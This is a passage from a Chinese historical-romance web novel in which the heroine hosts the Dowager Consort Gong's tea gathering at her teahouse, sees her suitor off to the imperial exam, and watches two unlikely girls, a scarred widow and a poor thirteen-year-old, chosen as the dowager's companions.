应知林嘟了嘟嘴,不高兴的情绪写在脸上。 闻颜还忍不住叫住他:“明日开考,我一早过去接你。” 应知林脸上立即荡开温柔而缱绻的笑容:“好,我等着你。” 闻颜一个人步行回‘清风小楼’。 将最近的事,和将要做的事复盘了一遍。 确定无事之后,她也到了清风小楼。 她刚叩开大门,霜姨就高兴地迎了出来:“小姐,我们有笔顶顶好的生意。” 闻颜疑惑地看着她。 “是恭太妃明日要办一个品茗会,让我们来承办。”霜姨道。 闻颜:“!!” 恭太妃选人的事,本就闹得很大。 作为选人地点的‘清风小楼’,也会随之名声大燥。 闻颜没想到,这件事的最大赢家竟是自己! 闻颜的脑子立即活泛的运转起来。 这么大个馅饼砸在头上,她一定要接住这次机会。 店里最受欢迎,最好看,最美味的点心全都要有。 各个院子,都要根据它的风格,重新布置一番。 除了各类茶叶、熏香都要有。 她最喜欢的几款果酒、花酒也要准备一些备用。 “对了,明天有客人预订园子吗?” “有一家。 是一位五品官员的夫人生日小聚。” “你现在拿着帖子登门,跟她说明情况之后,问她是否接受把订单转到……青竹园,我们把她的服务升级到最高标准。 若她不愿意,就赔付双倍定金。” “是。我这就去。”霜姨拿着帖子就登门了。 随后,闻颜便把铺子里的侍女、婆子使唤得团团转。 为了安全起见,闻颜让来做工的婆子、侍女、女匠人都不得离开。 闻颜忙活了整整一天,到了亥时末才结束一切。 她回到房间,几乎是沾着枕头就睡。 连佩儿给她脱去衣服鞋袜又擦脸都没醒过来。 一夜无话。 闻颜只睡了两个时辰,就爬了起来。 她顶着一双快要垂到下巴的黑眼圈,起床梳洗打扮。 她特地换了一身喜庆的红色衣裳,又梳了精致的发髻,这才赶着马车,去应知林的住处找他。 今天是会试入场的日子。 院子里住的都是考生,他们早就收拾好行囊,一起步行去往贡院。 闻颜的马车在小院门口停下,就看见应知林一个人,孤零零地站在门边。 身后的灯笼,照得他形单影只,十分孤独。 “应知林。”闻颜掀开马车帘子,大声唤他。 “闻颜!”应知林寂寞的眉眼顿时灵动起来。 他今日特地穿了一身新衣。 这身衣裳,还是闻颜提前为他准备的。 他本就长得俊美,这身新衣更是让他熠熠生辉。 养眼得很。 闻颜跳下马车,走到他面前:“东西都收拾好了吗?笔墨纸砚,干粮零嘴,还有常用药物,这些都准备好了吗? 对了,还有证明你身份的文书,这个最最重要。” 闻颜不放心地叮嘱。 应知林目光温柔地看着她:“放心吧,所有东西我都清点了三遍不止,绝对不会有问题。” “嗯!那我们就出发吧!”这一次,闻颜主动牵起了应知林的手,拉着他坐上了马车。 很快,他们就到了贡院门外。 这里已经人满为患,都是来应试的举子。 闻颜和应知林算是来得晚的,已经被挤在在外围。 排队需要好久才轮得到他。 二人干脆不急,就坐到马车里,慢悠悠地喝着茶水,吃着点心,聊着天。 前面的人都进去得差不多了,二人才下马车过去排队。 忽然,应知林轻轻扯了扯闻颜的衣袖,“你往后瞧。” “什么?”闻颜转身看过去,就见霍耀行从一辆豪华的马车上走下来。 霍耀行姿态潇洒的跳下马车,他抖了抖衣裳,就朝队伍走去。 看上去英姿勃发,很有气势。 闻颜仔细瞧了瞧他的眉眼,眼神里有一种放纵过度的疲态。 她嘴角上翘。 看来,霍耀行和江柔儿这几天没少纠缠在一起。 闻颜猜的一点没错。 那天江柔儿逃跑以后,霍耀行以为她不敢出现在他面前。 谁知,她半夜又来送夜宵。 她身上总有一股甜糯糯的味道,让他的身体蠢蠢欲动。 他抓住江柔儿的手:“你用的什么香?” 江柔儿在他嘴上吻了一口。 霍耀行的呼吸瞬间粗重起来,再也遏制不住对她的渴望,将她按进了怀里。 不得不说,江柔儿确实诱人。 柔软的身体,滑嫩的肌肤,呵气如兰,啼声婉转。 昨天一整日,他都恨不得死在江柔儿怀里。 不过,他昨天有些太放纵了,身体都快被那小妖精给掏空了。 还好明天才正式开考,今日他还能趁机养精蓄锐,以最好的状态,迎接接下来的考试。 第389章:她放荡她无情 又排了两盏茶的工夫,才轮到应知林入场。 闻颜忍不住再次叮嘱:“你不要给自己太强的心理负担。 这只是一场普通的考试,什么都决定不了,也影响不了。 我们重在参与,就当是积累经验了。” 旁边的考生频频侧目,怀疑闻颜脑子是不是有病,竟在这个时候说丧气话。 只有应知林知道,闻颜是真不在意他是否功成名就。 她只是单纯的,不想给他太大的压力,所以每次考试都这样给他打气。 应知林克制住想吻一吻她额头的冲动,微笑着道:“我知道了,你就放心吧,我会放平心态,尽力而为的。” 闻颜朝他点点头:“我相信你。” 检查考篮,搜身,验明正身。 流程走完,应知林回身,星目盼顾,找到人群里的闻颜,大声道:“颜儿,等着我回去!” 闻颜微笑着朝他挥挥手:“加油!” 应知林转身大步进入贡院,步态轻盈,衣袂翻飞,身姿笔挺潇洒,惹得其他送行女眷惊呼连连,有人甚至羞涩地用帕子遮住了脸。 直到他的身影彻底不见,闻颜才转身往回走。 她现在要赶回‘清风小楼’,接待今日的贵客,恭太妃及其客人。 她匆匆往外走,与霍耀行擦身而过时,霍耀行突然伸出手臂拦住了她。 闻颜忽地停下,蹙眉看着他:“这位公子你有何事?” 霍耀行一愣:“你不记得我了?” 闻颜疑惑:“我该记得你吗?” “你……好得很! 我们好歹做过几年未婚夫妻,你当真一点都不记得了?” 闻颜只觉得好笑,明明前天才对应知林痛下杀手,他在这里演什么受伤深情公子? 他会演戏,闻颜比他还会演。 “你是津平侯世子?”闻颜惊诧地拔高了声音,身体更是下意识地往后退了两步。 她的疏离与防备太过明显,明明她刚才对应知林笑得像发春一般,霍耀行的心里像是被什么东西扎了一下。 方才,看见她对应知林温柔小意,满眼深情的模样,他心里就无端升起一股无名火。 这样的温柔和深情,以前只属于他。 在那一瞬间,他心底猛地涌起强烈的厌恶。 在他心里,闻颜一直是他的所有物。 换了亲事,也只是他抛弃她而已。 她有什么资格出轨,凭什么对别的男人露出那种深情模样。 只要一想到她跟应知林日日夜夜没羞没臊的生活,他就烦躁不已。 她就该生生世世做他的人,为他哭,为他笑,为他当牛做马,为他赚取挥霍不尽的银子。 片刻间,霍耀行的脑海里,已经想到把闻颜拴在身边的一百种方法。 闻颜在拉开距离后,继续道:“霍世子请慎言,我与你的婚约根本就是子虚乌有。 那段婚约本就是你与真正的闻小姐的,闻小姐回归后,我们早就各归其位。 至于记得你,你我不过是在旁边人宴席上,在父母的陪同下,互相问安,便再无其他,请你慎言,不要引起不必要的误会。” 她就这么急于和自己撇清关系吗? 再来一世,她仍然是那个自私无情的女人。 霍耀行咬牙,他还欲再说什么,闻颜微微福身行礼,便大步离开。 留下众人窃窃私语,对霍耀行指指点点。 霍耀行目光阴郁地从那些人身上扫过,议论的人全都瑟缩一下,闭了嘴。 闻颜坐上马车,一路回了‘清风小楼’。 她赶着马车刚到,就见园子门前已经停了两辆马车。 闻颜把缰绳甩到栓马桩上,提着裙摆,飞快进入店里。 在接待的暖厅里,霜姨正跟两位中年妇人说话。 他们面前的长案上,摆满了今日会用到的点心和茶水。 原来,是恭太妃身边的嬷嬷,提前过来验明情况。 闻颜脚步轻缓地走进去。 霜姨看见她,就要站起来行礼,被闻颜一个眼神制止,并规规矩矩地站到霜姨身后。 两位嬷嬷一一尝过点心和茶水,这才满意地点了点头:“园子的布置,和准备的茶水点心都还不错。 就近这个来吧。” “是!”霜姨应下,将两位嬷嬷送出门。 一切准备就绪,半个时辰后,陆续有客人上门。 闻颜带着佩儿,亲自在院门口接待。 忽然,一辆马车停在店门外。 马车上走下来两人。 “庆三小姐,庆川公子!”闻颜连忙上前招呼。年前,庆川忙着卖皮裘和羊毛衫。 要不是遇上雪灾,他赚钱赚到都不想回家过年。 之后,也因种种原因,没能碰头。 庆川看见闻颜,很是意外,“这家店是你……?” “是我和迟飞一起合开的。”闻颜笑着解释。 庆川看着她,露出赞赏的眼神,玩笑道,“没想到最近名声大噪的‘清风小楼’竟是你的买卖,柳东家,士别三日,当刮目相看!” 庆三小姐古怪地看了自己的二哥一眼。 她的二哥高傲又清高,什么时候这般平易近人了? 她忍不住用胳膊拐了庆川一下:“二哥,她不会就是借给你起本做买卖的那位姑娘吧!” 庆川点点头:“她是你哥的伯乐,所以,你今天最好老实一点,否则晚上回家我收拾……” “她还是你喜欢了好几年的那个姑娘,对不对……”庆三小姐忽然打断他的话,问道。 “是……”答案出口,庆川才意识到自己说漏嘴了。 他警告地瞪了庆三小姐一眼。 庆三小姐朝他做了个鬼脸,就躲到闻颜身后:“颜姐姐救命……” 庆川:“……” 此处人多眼杂,闻颜又忙不过来。 她与庆川寒暄几句,约定好下次碰面的时间。 庆川把自己的妹妹推到闻颜面前:“我这个妹妹最爱凑热闹, 今日就劳烦你多盯着她些。” “定不负公子所托。” 庆川离开后,闻颜特地将庆三小姐送到院子里,又吩咐侍女多看顾她一些。 随后,闻颜还迎接了宁叹的母亲。 宁母身边带着一个姑娘,却不见宁叹身影。 客人越来越多,园子里叽叽喳喳,像是聚满了黄莺和花蝴蝶。 到了午时,恭太妃才姗姗来迟。 原本还活泼可爱的名门小姐,瞬间安静下来,变得沉稳内持。 第390章:点名要宁叹 恭太妃在嬷嬷的搀扶下,从曲水流觞中走来。 “见过太妃!”千金小姐们齐齐见礼。 “都起来吧。”恭太妃慈眉善目,笑呵呵的,让人见之亲切,“都是大好年华的小姑娘,你们玩你们的,不必理会我这个老太婆。” 恭太妃摆摆手,精准地找到人群中的闻颜:“孩子,过来。” 闻颜没想到恭太妃会叫自己,连忙走了过去:“太妃娘娘。” 恭太妃拉着闻颜的手:“好孩子,许久不见了,你这些日子过得可好。” 闻颜顺势搀着她的手,恭顺地回道:“做生意忙忙碌碌,日子还算有意思。” “生意这么忙,想必你就没时间刺绣了,可惜了你那一手绣活。 年节前你送来的皮裘,那对绣花的抹额我很是喜欢。”恭太妃笑盈盈的,轻拍着闻颜的手,带我去暖阁里坐坐。” “太妃喜欢就好。”闻颜扶着恭太妃,一路朝暖阁走去。 太妃在暖阁里落座,侍女立即端上早就准备好的花茶。 太妃打量着暖阁的布置陈设,视线定格在一张画上:“这幅画倒是有趣,把夜色画得很逼真。” 太妃盯着看的,正是‘清风小楼’开业那天晚上,闻颜画的那幅残荷月色图。 闻颜笑着把画取下来,放到太妃面前:“我店铺开业那天,月色正好,正好,我就随手涂鸦了下来。” “没想到你作画也这么出色。”恭太妃赞赏地道,“你这要算涂鸦,那些书画铺子里的算什么!” 闻颜捂着脸,露出小女儿的娇俏,语气夸张地道:“太妃,您再闭眼夸,我可就要骄傲了!” “哪有闭眼夸,太妃娘娘明明是慧眼如炬,小姐你画的画本来就好看呀! 太妃娘娘,这支画缸里面画,都是我家小姐画的。” “快拿两幅过来我看看。”恭太妃朝佩儿招招手。 “是,太妃娘娘。”佩儿行了个礼,连忙去搬画。 恭太妃心情好,她就喜欢看孩子们年轻活泼的样子。 她们才看了几幅画,就有千金小姐来请安。 恭太妃叹了口气,一副即将上刑场的表情:“叫她们进来吧,一次多叫几个,轮转快一点。” 闻颜眨了眨眼,不是恭太妃自己要选人的吗? 怎么还一副不情不愿的样子? 那些千金小姐陆续进来,闻颜也悄无声息的退到一旁,减低自己的存在感,又做到随时侍候的准备。 很快,第一拔女子就走了进来。 听着她们自报家门见礼,皆是皇公贵胄出身。 闻颜啧舌,这些金枝玉叶,她前世连上前搭话的资格都没有。 恭太妃扬了扬手:“都是好孩子,这暖阁里又小又闷,你们快出去玩吧。” 这是一个都没看上。 金枝玉叶们互视一眼,就一起离开了。 佩儿忍不住好奇,小声问闻颜:“小姐,她们不是皇族吗?想跟着恭太妃去大照寺,上门说一声就是了,干嘛还到追到这里了?” “谁家没有几门破落亲戚?要是再出几个纨绔败家子,再厚的家底也撑不住。 恭太妃身份尊贵,便是皇子公子要见一面都不容易,更何况是他们。” 佩儿想到松山村的地主家,据说祖上特别阔气,有上万亩良田。 传到他手的里,也只有四五百亩地了。 据说他的几个儿子,为了争田地,打得脑浆子都快出来了。 随后进来的便是各勋贵家的小姐。 庆三小姐也在其中。 庆三小姐忍不住多看了闻颜几眼,在恭太妃面前,也表现得格外恭顺。 只不过,在场的姑娘太多,恭太妃根本没有注意到她。 关心晚辈几句,就让她们出去了。 既然她是庆川的亲妹妹,闻颜就帮她一把好了,就当是合作发财的谢礼。 闻颜在庆三小姐出门时,朝她招了招手。 庆三小姐疑惑地走了过来。 闻颜对她低语几句,庆三小姐的余光往后瞄了瞄:“这不大好吧,万一得罪了太妃……” 闻颜摆摆手:“没事的,我也只能帮上这点忙了。” 赴会的姑娘像流水一样进来,铁打的恭太妃一动不动。 很快,今日来赴会的姑娘,就见了三分之二。 终于轮到了宁家人。 恭太妃的身子忽然挺了挺,打架的眼皮子颤了颤,缓缓地睁开了。 她看向方才自报家门的三名女子:“你们姓宁?” “是。”宁家三名女子脸上一喜,齐齐答道。 恭太妃的目光从三人身上扫过,眉头轻蹙,她问:“你们谁是宁叹?” 宁家三位小姐面面相觑,如实回答:“我们都不是。” 恭太妃皱眉:“我记得,宁家有个女儿叫宁叹,曾经和钱家人订过亲。 可惜两个孩子有缘无份。” 恭太妃长叹一声:“钱家那孩子也是好的,心地善良,见义勇为。 只可惜搭上了自己…… 宁叹也是个重情重义的,大好的年纪,给钱家孩子扶棂回乡,还为他守了五年的灵。 可见宁叹是个心思纯净的,她今儿怎么没一起过来? 莫非是嫌弃我是个老婆子?” 宁家三个姑娘吓了一跳,连忙跪下请罪,直说是你宁叹独居惯了,不爱凑热闹。 恭太妃道:“那不正巧,我要找的就是喜欢安静清静的人,去把她叫来我瞧瞧吧。” 宁家三个姑娘跪在地上,又是嫉妒又是紧张,却一动不动。 恭太妃拿起帕子,轻轻按了按眼角。 她身边的嬷嬷就呵斥道:“怎么?我想见一个人都不行了吗?” 宁家三个姑娘吓坏了,连忙告饶:“不是的,臣女不敢,是宁叹她……” “是宁叹伤到脸,毁了容,我们怕她吓着您。” “也就是说,是你们故意不让她来的?”嬷嬷朝着大照寺的方向一拜,“佛祖慈悲,只重信徒品性,从不在乎容貌这些外物。 还不快去把人找来。” 宁家三个姑娘吓了一跳,连连应是,提着裙摆就站起来,退出暖阁,把恭太妃的意思传达给同来的长辈。 宁母听说恭太妃点名要见自己的女儿,她心思电转,立即派贴身丫鬟回去接人。 第391章:揭了帷帽吧 到了午食时间,恭太妃也乏累了。 便让闻颜安排大家午食和休息。 这些金枝玉叶真的很难伺候。 食不厌精,脍不厌细。 休息处也要高床软枕。 屋里的熏香不是她们惯用的,也要全部换掉。 直把‘小楼’的侍女使唤得团团转。 还有两位身份相当的千金小姐,住在同一个院子,看上了同一个房间,还因此掐了起来。 闻颜赶去调停,混乱中差点挨了一巴掌。 这些千金小姐虽在闻颜的店里消遣,却没一个人看得上闻颜的。 在她们眼中,闻颜只是一个四品官员家的养女,还是赶出门断亲的那种,毫无价值。 放在平时,闻颜连跟她们说话的资格都没有。 闻颜叹了口气,最终抬出恭太妃,才将这帮金尊玉贵的小姐压住。 处理完千金小姐们的争端,闻颜扶着腰,正准备回去歇歇,又得知恭太妃要喝安神茶,否则睡不着午觉。 闻颜稍微一猜,便想到缘由。 她壮着胆子,推荐庆三小姐去给恭太妃讲些轻松好玩的故事,再让香莲辅以按穴推拿的手法。 香莲在按穴推拿方面很有天赋,闻颜特地送她去多家拜师学艺。 经过几个月的努力,香莲的手法不说自成一派,起码也已经融会贯通。 不过一盏茶的功夫,恭太妃就沉沉入梦。 嬷嬷喜得不得了,拉着闻颜到屋外夸了又夸:“太妃这些年觉不好,平时都要喝安神茶,点上安神香才能睡着。 没想到你的法子如此管用,竟能让娘娘在没用药的情况下安详入睡,你果真是蕙心兰质,功不可没。” 闻颜可不敢邀功,只说是运气好凑巧。 嬷嬷见她为人谦逊不邀功,对她越发喜爱。 “那我就不打扰太妃娘娘休息了,若是还有别的事,嬷嬷随时派人来叫我即可。” 闻颜领着香莲和庆三小姐离开。 香莲告退之后,庆三小姐才对闻颜道:“方才多谢你了,让我在太妃面前露了脸。” 闻颜摆摆手:“我跟你哥合作做生意,你是他的妹妹,我帮你一把也是应该的。不过太妃会不会选你一起去大照寺,我也无法保证。” 庆三小姐点点头,倒也不贪心:“我知道的。” 闻颜把庆三小姐送走,她才松了口气:“终于能歇一歇了。”她捶着发酸腰背,肚子也唱起了空城计。 她早上寅时就起床了,先去给应知林送考,又马不停蹄回来操持店里的事,忙得连口热茶都没喝上。 她赶紧回自己的院子,随便吃了些冷掉的食物,倒头就睡。 歇了大半个时辰,宁叹就来通知她,宁叹到了。 闻颜匆匆洗漱之后,就去找她。 宁叹和宁家人在一处抱厦里。 闻颜赶到的时候,宁家人正在逼问宁叹:“你到底用了什么手段? 明明成天窝在家里,还能让恭太妃对你念念不忘你。” 闻颜翻了个白眼。 宁家人的语气,仿佛宁叹在外面勾搭了野汉子似的。 闻颜推门进去,笑着说道:“恭太妃能记得宁叹小姐,是因为她与钱家的婚事。 守着望门寡,不仅扶棂回乡,还守灵五年。 恭太妃说宁叹小姐不仅有情有义,顾全大局,还性子沉稳。 这些是恭太妃当着大家的面说的,怎么,宁家的三位小姐没告诉各位长辈吗?” 宁家三位小姐心虚的低下头,其他宁家人也面露尴尬,笑笑不知说什么好。 宁叹看见闻颜,心中欢喜,紧绷的情绪顿时都放松了许多。 她下意识就要迎上闻颜,被她母亲拉住。 闻颜看着宁叹的衣着,不由地皱了皱眉,宁家人怎么给她这副打扮,但她也没有当场点破。 而是装做不认识一般,问道:“这位就是宁叹小姐吧,跟我去见太妃吧。” “好!”宁叹这才挣脱开母亲的手,跟着闻颜离开。 宁家人下意识就要眼上来。 闻颜回头看了她们一眼:“太妃娘娘只见宁叹小姐,你们还是在这里候着吧。” 宁家人这才不甘地留在房间里。 闻颜领着宁叹走得稍远些,确定宁家人没有跟上来后。 她才皱眉看着宁叹穿的衣裳:“你怎么穿这一身来的?” 就见宁叹穿着织金撒花的百迭裙,富贵奢侈得明明白白 “是我娘非要我这样穿的,说见贵人不能显得太寒酸。”宁叹呼出一口气,“恭太妃常年礼佛,性子沉静淡泊,应该不会喜欢这样大红大紫的装扮吧。 我娘她不想我入恭太妃的眼。” “那你呢?你是怎么想的?想要被恭太妃选上吗?” 宁叹何尝不知母亲的良苦用心,“自打我回来后,我娘一直想为我寻一门好的亲事。 我不忍心明着反抗她,此次陪同恭太妃,对我来说一个机会。 如果我表现得好,得恭太妃夸一句‘我与佛有缘’,此后余生我就能以此为借口,拒绝婚嫁了。” 原来,宁叹打的是礼佛出家的主意啊! 闻颜在心里默哀:看来孟希延的情路,道阻且长啊! 不过,宁叹能抱上恭太妃这根大腿不是坏事,跟着恭太妃去大照寺礼佛,总比留在京城,时常担惊受怕,被谢琮弈骚扰要好吧! “你想做什么我都支持你,我那边有雅而不素的衣裳,我带你去换上。” “谢谢你!”宁叹感动地道。 “都是自家姐妹,你客气什么。”闻颜找来‘小楼’里最会梳妆打扮的匠娘,很快就让宁叹焕然一新。 可惜,她脸上的两道伤疤太狰狞,妆容根本遮掩不了,否则她这身装扮走出去,不知要迷死多少人。 不久,恭太妃身边的宫女就来通知闻颜,恭太妃睡醒了。 恭太妃精神饱满,下午在花园里见人。 闻颜带着宁叹就过去了。 花园里,闻颜带着宁叹抵达。 “宁叹姐,过去吧。 恭太妃人很好的,你不用紧张。”她轻轻推了宁叹一把。 宁叹深吸一口气,就走了过去。 闻颜站得远,听不见她们说了什么。 没一会儿,就见宁叹诚惶诚恐地跪了下去,大声的道:“太妃娘娘,臣女容貌有损,揭了帷帽,恐怕会惊扰到您。” 第392章:真的选了宁叹 “太妃吩咐,你把帷帽揭了便是。太妃娘娘什么世面没见过。”恭太妃身边的嬷嬷,厉声呵斥道。 “是。”宁叹战战兢兢,还是取下了帷帽。 站在太妃身后的两名宫女,立即吓得倒吸一口气,往后退了好几步。 倒是恭太妃,年纪摆在这儿,新旧皇帝更迭时,宫斗政变,什么样的腥风血雨没见过,岂会因为一张脸毁容就吓到。 宁叹连连道歉,“对不起,是我的脸吓到你们了。” 恭太妃神情平平,摆摆手:“疤痕确实深了些,说吓人也算不上。你就陪我一起去大照寺吧。” “啊?”宁叹一脸茫然,别人抢破头的事,就这样落到她身上了? “怎么?你不愿意陪我这个老婆子去?” “不是不是,当然不是。只要太妃嬷嬷不嫌弃臣女的容貌吓人,臣女求之不得。”宁叹连忙应下。 恭太妃选定人的事情,很快就传遍了‘清风小楼’。 太妃谁都不选时,那些千金小姐觉得,只要死对头去不成,自己去不去无所谓。 现在得知恭太妃选了名不见经传的宁家女儿,一个个下巴都要惊掉了。 宁家,不过是自诩清风的书香世家。 穷酸且迂腐。 宁家培养出来的女儿,除了能掉书袋子,还能干什么? 而且她还许过人家。 她们金尊玉贵,她们难道还不比不上她这个望门寡么? 她凭什么跟她们争这次机会?! 不过,恭太妃将人定下,她们就算有再多的不满,也只能咽回肚子里。 许是有人刻意传播,消息很快就从‘清风小楼’传到了外面。 一时之间,京城里,对恭太妃选陪伴的事儿,再度议论纷纷。 “竟然选的第一个人,就是名寡妇。 看来,真不是打着祈福的由头,给龙子凤孙选妃。” “你们说,一个寡妇才能被恭太妃选中,我女儿还是个黄花大美女,是不是也可以去试试?” “我闺女比你闺女漂亮,机率肯定更大……” 百姓嘴上花花,甚至还跑到‘清风小楼’门前围观,却没一个人敢真的把女儿送去。 闻颜把宁叹送回到宁家人身边,顺便将宁叹被选中的事,同宁家人说了。 宁家人听后,一个个表情变幻不定。 有羡慕,有嫉妒,也有恨意。 只有宁母惊慌失措,担忧地看向宁叹。 人怕出名猪怕壮,更何况女儿的情况特殊。 她本想把女儿养在家中,过段时间再悄悄为她择一门亲事。 男方出身低些,家里穷些都没关系,只要人品端方,不嫌弃叹儿毁容,一心一意对她,他们就愿意用所有的人脉为他铺路。 偏偏…… 今日被恭太妃选中,叹儿注定要被推到风口浪尖。 她退婚、扶棂、守灵,甚至是被谢家公子盯上的事,她毁容的事,都会陆续被扒出来。 她想让叹儿低调出嫁的计划,恐怕是行不通了。 宁母手里的帕子都快揉烂了。 闻颜在心里叹口气,朝宁家众人点点头,这才离开。 在回去的路上,闻颜远远看见佩儿领着一个姑娘进来。 佩儿一脸认真地跟那姑娘说着什么,很有当姐姐的风范。 “你们这是要去哪儿?”待他们走近了,闻颜才问。 佩儿见是闻颜,连忙拉着少女行礼,道:“也是来应选的。” 佩儿怕闻颜误会,就上前小声把这姑娘的事,言简意赅地交代了一遍。 原来,这姑娘爹早死,母亲抚养她和妹妹长大。 她的母亲熬坏了身子,小小的年纪,不仅要承担起家庭重担,还要防着吃绝户的叔伯亲戚。 是个苦命的孩子。 难怪佩儿对她格外维护,许是觉得同病相连吧。 闻颜打量了那姑娘几眼,只见她样貌普通,皮肤偏黑,衣裳补丁摞着补丁的女子。 丢在人堆里都找不出来的那种。 不过她的衣裳虽破,却十分干净,补丁也打得十分漂亮。 闻颜略一沉默,便对姑娘道:“这身衣裳就不必换了,我带你过去。” 那姑娘一脸茫然,她求救似的看向佩儿。 佩儿连忙道:“我家小姐人最好了,你只管听她安排就是了。” 少女不安地点点头,忐忑地跟着闻颜走了。 很快,他们就来到花园里。 闻颜带着一名小乞丐进来,金枝玉叶们都用帕子捂着嘴,退远了些。 闻颜提醒少女:“你一开始怎么想的,就怎么做,知道吗?” 小姑娘似懂非懂地点点头。 闻颜把少女交给了嬷嬷:“她也是来应选的。” 嬷嬷看着少女蹙了蹙眉,但还是把人领到恭太妃跟前。 嬷嬷的示意她行礼,谁知小姑娘跪下就给恭太妃磕了一个头:“民女郑小拙,见过太妃娘娘。” 恭太妃看见郑小拙明显愣了一下,“快把这孩子扶起来。” 郑小拙却拒绝了,她大声道:“太妃娘娘,民女也是来应选陪伴侍的。” 恭太妃见她年纪小小,胆子却很大,不由来了好奇心,问道:“你为何来应选?” 郑小拙想到闻颜让她如实回答,便道:“民女八岁丧父,一直靠母亲浆洗衣裳养活我和妹妹。 如今我母亲积劳成疾,妹妹年幼,我已经十三岁了,应该挑起养家重担。 我做了很多活,也学过怎么侍候长辈。 太妃娘娘您选伴侍,我就想来碰一碰运气。 若是我能选中,等伴侍结束,我就能狐假虎威,说我是在您跟前侍候过的人,他们也就不敢再克扣我的工钱了。” 郑小拙因为紧张,声音都在发颤,不过说话条理十分清晰。 恭太妃露出浅笑:“你倒是坦率,一点不藏着掖着。” 她轻轻抬了抬手。 她身边的一位嬷嬷,就悄无声息地离开了暖阁。 郑小拙又磕了一个头:“我娘说了,太妃娘娘比戏文里的神仙还要威严,我的小聪明在您面前,就是关公面前耍大刀,还不如老实些。” 恭太妃这回真笑出了声:“你这张小嘴,倒是会哄我开心。” 郑小拙腼腆笑笑,一副笨嘴笨舌,不知道该如何答话的样子。 第393章:非她不娶 恭太妃难得见到真实贫困的百姓。 她将几上的点心给了她一盘:“拿去吃吧。” 郑小拙看见精致的点心,虽然馋得直咽口水,却还是摇头道:“这些点心一看就很贵,我不能吃。” 嬷嬷将盘子塞到郑小拙手里:“太妃娘娘赏你的,你接着便是。” “我……谢谢太妃娘娘,小拙无以为报,就给您磕个头吧。”郑小拙手足无措,真就砰砰砰地磕了三个头,这才端起点心,小心翼翼的拿起一块,咬了一小口。 她顿时眯起了眼睛:“好甜啊!” “糯糯的,香香的,好好吃,我从没吃过这样好吃的食物。” 郑小拙吃一口夸一句,明明是简单直白的话语,却哄得恭太妃乐不可支。 这大概就是,真诚才是必杀技吧! 不过,郑小拙吃了两块就不吃了。 她小心翼翼看着恭太妃:“太妃娘娘,剩下的点心我能打包回家吗?我娘和妹妹的身体不好,我想留给她们吃。” 嬷嬷的眼眶里瞬间蓄满了泪水,“这孩子……也太懂事了。” 恭太妃拿帕子按了按眼角,吩咐嬷嬷:“把这些都打包给她。” 过了一会儿,出去的那位嬷嬷就回来了。 她在恭太妃的耳边低语几句。 恭太妃便对郑小拙道:“另一个人就选她吧。” 嬷嬷笑眯眯的提点郑小拙:“还不快过来谢恩。” 郑小拙没想到自己真能被选中,顿时咧嘴笑了起来,露出八颗洁白的牙齿。 她对着恭太妃就咣咣磕了三个响头:“太妃娘娘,您就是观音菩萨转世,比我们巷子里的百岁奶奶还要慈祥。” 恭太妃虚点着她,嗔笑道:“你啊,一张小嘴,哄死人不偿命。” 明明是其乐融融的氛围。 花园里的其他女子却脸色难看。 输给宁家的寡妇女儿,已经够没面子了。 没想到,太妃娘娘选一个来历不明的穷酸丫鬟,也不选她们。 她们就真的那么差吗? 真是气死人了! 恭太妃朝闻颜招了招手:“孩子,你过来。” “太妃娘娘,您请吩咐。”闻颜快步走了过去。 “你派人去通知宁家,让他们收拾好行李,一会儿就跟着我走。” “是。”闻颜应了一声,就去找宁家人了。 宁家人还没离开,她直接去了选前的院子。 她刚进院子,就听见房间里传来质问声:“宁叹,我们刚才的提议,你到底答不答。” “不就是让你的三位姐姐,以照顾你的名义,陪着你一起去大照寺吗?反正你们有带四名丫鬟的名额,咱们在合理范围内操作!” “大嫂、二嫂,这是欺骗行为,一旦恭太妃过问,对各位宁家就是灭顶之灾!” “呸,你不想帮自家姐妹就直说,找这些冠冕堂皇的借口。” 闻颜听到屋里的对话,忍不住翻白眼。 宁家人还真是够够的。 几年前为了家族名誉,逼着尚未出嫁的宁叹扶棂回乡。 如今,她们又来逼迫宁叹,还真是‘书香清流’。 闻颜连进去的兴趣都没有了,让佩儿去把宁叹叫了出来。 没一会儿,宁叹就逃也似的走了出来。 她一把握住闻颜的手:“颜颜,还好你来了,你再晚来一会儿,我就要被她们烦死了。” 闻颜挽着她的胳膊:“走吧,恭太妃现在就要带你走,接下来半年,你都不用烦恼了了。” 闻颜把宁叹送过去,恭太妃就带着二人离开了。 闻颜将人送到门口,拿了一个包袱给郑小拙:“里面是佩儿穿过的旧衣,你别嫌弃。” “不嫌弃不嫌弃,谢谢柳东家,谢谢佩儿姐姐。”郑小拙喜滋滋地接了过去。 恭太妃一走,其他客人也陆续离开了。 偌大的院子,很快就安静下来。 “赚的钱虽多,人也累得够呛!”闻颜转了转僵硬的脖子,“留下几人当值,其他人下工回去休息吧。今儿当值的人,明日少上半天工。” 交代完事情,闻颜就回屋里休息了。 明明身体累得不行,但她躺在床上,反而睡不着觉。 也不知应知林现在如何里了? 下午起风了,也不知他在里面冷不冷? 不过,他今天穿的那一身衣裳,真的好看。 不行,她要去多买些漂亮衣裳,让他天天穿给自己看。 就算她啃不到应知林这块鲜嫩的把子骨,过过眼瘾也是好的。 想到应知林变着花样打扮给自己看,闻颜就乐滋滋的。 想着想着,她就睡着了。 与此同时,恭太妃回到宫里。 宁叹和郑小拙被安排到偏殿休息。 没一会儿,皇帝和皇后就一起到了。 恭太妃看见二人,就嫌弃地闭上眼睛,揉着额头:“你们怎么又来了,就不能让我歇一会儿吗?看见你们两个,我就眼睛疼,脑袋疼!” 皇帝腆着脸,笑着给恭太妃捏着肩膀:“娘,儿子知道您辛苦了,是儿子不中用,让您这么大年纪了,还要帮儿子做事。” 皇帝说得可怜兮兮,差点就哭出来了。 恭太妃捂着脸,对皇帝越发嫌弃了:“你现在都是一国之君了,能不能别搞出这些死动静。” “娘,你不疼儿子了,儿子伤心心。”皇帝可怜巴巴的撅着嘴,像个五六岁的小孩一样撒娇。 恭太妃用尽全力捏紧拳头,才没有将巴掌招呼到皇帝脸上。 皇后安静的坐在一旁,看着母子二人斗嘴,露出会心一笑。 这全天下,恐怕也只有恭太妃,敢用这种态度跟皇帝说话了。 皇帝母子逗趣了一会儿,恭太妃才说道:“不负所望,宁叹已经让我带回宫了。你小子,搞出这么大的阵仗让我跑这一趟去要人,你不会是看上人家小姑娘了吧!” “你小子比宁叹大了二十岁,你还要去祸祸人家啊!”恭太妃说着说着就来气,一拳捶在皇帝肩膀上,“再说了,宁叹那姑娘为了摆脱谢家,亲手毁了自己的容貌,你现在口味变得这么重了?” 